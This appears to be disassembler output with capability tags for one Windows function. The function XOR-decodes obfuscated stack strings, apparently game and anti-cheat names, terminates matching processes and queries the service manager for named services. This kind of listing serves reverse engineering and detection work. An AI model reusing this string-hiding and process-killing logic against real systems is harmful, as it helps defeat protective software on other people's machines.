Function at 0x140002e98
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov rax, qword [0x14003f040]
xor rax, rsp
mov qword [rbp - 8], rax
xor r13d, r13d
mov dword [rbp - 0x60], 0x8173064
xor eax, eax
mov dword [rbp - 0x5c], 0x1090523
mov byte [rbp - 0x54], al
mov r12b, r13b
mov cl, 0x64
mov dword [rbp - 0x58], 0x11c014a
xor byte [rbp + rax - 0x5f], cl
inc rax
cmp rax, 0xb
jae 0x140002efc
mov cl, byte [rbp - 0x60]
jmp 0x140002eea
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x54], r13b
call fcn.140002d54
movdqa xmm0, xmmword [0x1400398e0]
mov rcx, r13
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x40], eax
mov al, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5f], al
inc rcx
cmp rcx, 0xe
jb 0x140002f1c
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x51], r13b
call fcn.140002d54
mov dword [rbp - 0x3c], eax
mov cl, 0x5f
xor eax, eax
mov dword [rbp - 0x60], 0xc1a1d5f
mov byte [rbp - 0x52], al
mov sil, 0x36
mov dword [rbp - 0x5c], 0x36292d3a
mov dword [rbp - 0x58], 0x3a713a3c
mov word [rbp - 0x54], 0x3a27
xor byte [rbp + rax - 0x5f], cl
inc rax
cmp rax, 0xd
jae 0x140002f73
mov cl, byte [rbp - 0x60]
jmp 0x140002f61
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x52], r13b
call fcn.140002d54
mov dword [rbp - 0x38], eax
mov cl, 0x4b
mov rax, r13
mov dword [rbp - 0x60], 0x2a7e394b
mov bl, 0x3b
mov dword [rbp - 0x5c], 0x65332e3b
mov dword [rbp - 0x58], 0x2e332e
xor byte [rbp + rax - 0x5f], cl
inc rax
cmp rax, 0xa
jae 0x140002fb1
mov cl, byte [rbp - 0x60]
jmp 0x140002f9f
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x55], r13b
call fcn.140002d54
movdqa xmm0, xmmword [0x1400398c0]
mov rcx, r13
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x34], eax
mov al, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5f], al
inc rcx
cmp rcx, 0xe
jb 0x140002fd1
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x51], r13b
call fcn.140002d54
movdqa xmm0, xmmword [0x140039a40]
mov r15b, 0x73
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x30], eax
mov rcx, r13
mov dword [rbp - 0x50], 0x7d602b73
mov word [rbp - 0x4c], 0x60
mov al, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5f], al
inc rcx
cmp rcx, 0x14
jb 0x140003011
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x4b], r13b
call fcn.140002d54
movdqa xmm0, xmmword [0x140039910]
mov dil, 0x3d
mov dword [rbp - 0x2c], eax
mov rcx, r13
xor eax, eax
mov dword [rbp - 0x50], 0x27203d14
mov byte [rbp - 0x48], al
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x4c], 0x71a074c
mov al, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5f], al
inc rcx
cmp rcx, 0x17
jb 0x140003057
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x48], r13b
call fcn.140002d54
movdqa xmm0, xmmword [0x140039940]
mov rcx, r13
mov dword [rbp - 0x28], eax
xor eax, eax
mov byte [rbp - 0x4e], al
movdqu xmmword [rbp - 0x60], xmm0
mov word [rbp - 0x50], 0x263b
mov al, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5f], al
inc rcx
cmp rcx, 0x11
jb 0x140003092
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x4e], r13b
call fcn.140002d54
movdqa xmm0, xmmword [0x140039a00]
mov r14b, 0x50
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x24], eax
mov rcx, r13
mov dword [rbp - 0x50], 0x17404d50
mov dword [rbp - 0x4c], 0x5c415c
mov al, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5f], al
inc rcx
cmp rcx, 0x16
jb 0x1400030d3
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x49], r13b
call fcn.140002d54
mov dword [rbp - 0x20], eax
xor eax, eax
mov byte [rbp - 0x52], al
mov dword [rbp - 0x60], 0x54496b3b
mov dword [rbp - 0x5c], 0x525d5243
mov dword [rbp - 0x58], 0x5e15495e
mov word [rbp - 0x54], 0x5e43
xor byte [rbp + rax - 0x5f], bl
inc rax
cmp rax, 0xd
jae 0x140003125
mov bl, byte [rbp - 0x60]
jmp 0x140003113
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x52], r13b
call fcn.140002d54
movdqa xmm0, xmmword [0x1400399c0]
mov rcx, r13
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x1c], eax
mov dword [rbp - 0x50], 0x2495e49
mov dword [rbp - 0x4c], 0x495449
mov al, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5f], al
inc rcx
cmp rcx, 0x16
jb 0x140003153
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x49], r13b
call fcn.140002d54
mov dword [rbp - 0x18], eax
mov cl, 0x68
xor eax, eax
mov dword [rbp - 0x60], 0x1a013f68
mov byte [rbp - 0x52], al
mov dword [rbp - 0x5c], 0x9001b0d
mov dword [rbp - 0x58], 0xd46031a
mov word [rbp - 0x54], 0xd10
xor byte [rbp + rax - 0x5f], cl
inc rax
cmp rax, 0xd
jae 0x1400031a7
mov cl, byte [rbp - 0x60]
jmp 0x140003195
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x52], r13b
call fcn.140002d54
mov dword [rbp - 0x14], eax
mov rax, r13
mov r13d, 1
mov dword [rbp - 0x60], 0x65626436
mov dword [rbp - 0x5c], 0x4e531865
mov word [rbp - 0x58], 0x53
xor byte [rbp + rax - 0x5f], sil
add rax, r13
cmp rax, 8
jae 0x1400031e8
mov sil, byte [rbp - 0x60]
jmp 0x1400031d4
xor r13d, r13d
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x57], r13b
call fcn.140002d54
mov dword [rbp - 0x10], eax
xor eax, eax
mov dword [rbp - 0x60], 0xf4e5e3d
mov dword [rbp - 0x5c], 0x58455813
mov byte [rbp - 0x58], al
lea esi, [rax + 1]
xor byte [rbp + rax - 0x5f], dil
add rax, rsi
cmp rax, 7
jae 0x140003225
mov dil, byte [rbp - 0x60]
jmp 0x140003211
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x58], r13b
call fcn.140002d54
mov dword [rbp - 0xc], eax
mov rbx, r13
mov r8d, dword [rbp + rbx*4 - 0x40]
test r8d, r8d
je 0x14000326e
xor edx, edx
mov ecx, esi
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14000326b
mov edx, 9
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r12b, sil
add rbx, rsi
cmp rbx, 0xd
jbe 0x140003238
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rdi, rax
test rax, rax
jne 0x1400032d1
movdqa xmm0, xmmword [0x140039960]
mov rcx, r13
movdqu xmmword [rbp - 0x60], xmm0
mov byte [rbp - 0x50], al
mov al, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5f], al
add rcx, rsi
cmp rcx, 0xf
jb 0x1400032a2
lea rcx, [rbp - 0x5f]
mov byte [rbp - 0x50], r13b
call fcn.140001158
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
jmp 0x14000341a
xor eax, eax
mov dword [rbp - 0x60], 0x25242361
mov byte [rbp - 0x58], al
mov cl, 0x61
mov dword [rbp - 0x5c], 0x18120800
xor byte [rbp + rax - 0x5f], cl
add rax, rsi
cmp rax, 7
jae 0x1400032f8
mov cl, byte [rbp - 0x60]
jmp 0x1400032e6
lea rdx, [rbp - 0x5f]
mov byte [rbp - 0x58], r13b
mov rcx, rdi
call fcn.140002df8
test eax, eax
movzx ebx, r12b
mov cl, 0x3e
mov dword [rbp - 0x60], 0x6d7b7c3e
cmovne ebx, esi
mov dword [rbp - 0x5c], 0x57484c5b
xor eax, eax
mov word [rbp - 0x58], 0x5b5d
mov byte [rbp - 0x56], al
xor byte [rbp + rax - 0x5f], cl
add rax, rsi
cmp rax, 9
jae 0x14000333e
mov cl, byte [rbp - 0x60]
jmp 0x14000332c
lea rdx, [rbp - 0x5f]
mov byte [rbp - 0x56], r13b
mov rcx, rdi
call fcn.140002df8
test eax, eax
mov dword [rbp - 0x60], 0x23311550
mov dword [rbp - 0x5c], 0x243e1129
cmovne ebx, esi
mov dword [rbp - 0x58], 0x35381339
xor eax, eax
mov word [rbp - 0x54], 0x2431
mov byte [rbp - 0x52], al
xor byte [rbp + rax - 0x5f], r14b
add rax, rsi
cmp rax, 0xd
jae 0x140003387
mov r14b, byte [rbp - 0x60]
jmp 0x140003373
lea rdx, [rbp - 0x5f]
mov byte [rbp - 0x52], r13b
mov rcx, rdi
call fcn.140002df8
movdqa xmm0, xmmword [0x1400399d0]
test eax, eax
movdqu xmmword [rbp - 0x60], xmm0
cmovne ebx, esi
mov word [rbp - 0x50], 0x4e
mov rcx, r13
mov al, byte [rbp - 0x60]
xor byte [rbp + rcx - 0x5f], al
add rcx, rsi
cmp rcx, 0x10
jb 0x1400033b2
lea rdx, [rbp - 0x5f]
mov byte [rbp - 0x4f], r13b
mov rcx, rdi
call fcn.140002df8
test eax, eax
mov dword [rbp - 0x60], 0x38342573
cmovne ebx, esi
xor eax, eax
mov byte [rbp - 0x5c], al
xor byte [rbp + rax - 0x5f], r15b
add rax, rsi
cmp rax, 3
jae 0x1400033f7
mov r15b, byte [rbp - 0x60]
jmp 0x1400033e3
lea rdx, [rbp - 0x5f]
mov byte [rbp - 0x5c], r13b
mov rcx, rdi
call fcn.140002df8
test eax, eax
movzx ebx, bl
mov rcx, rdi
cmovne ebx, esi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov al, bl
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.14000ac20
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret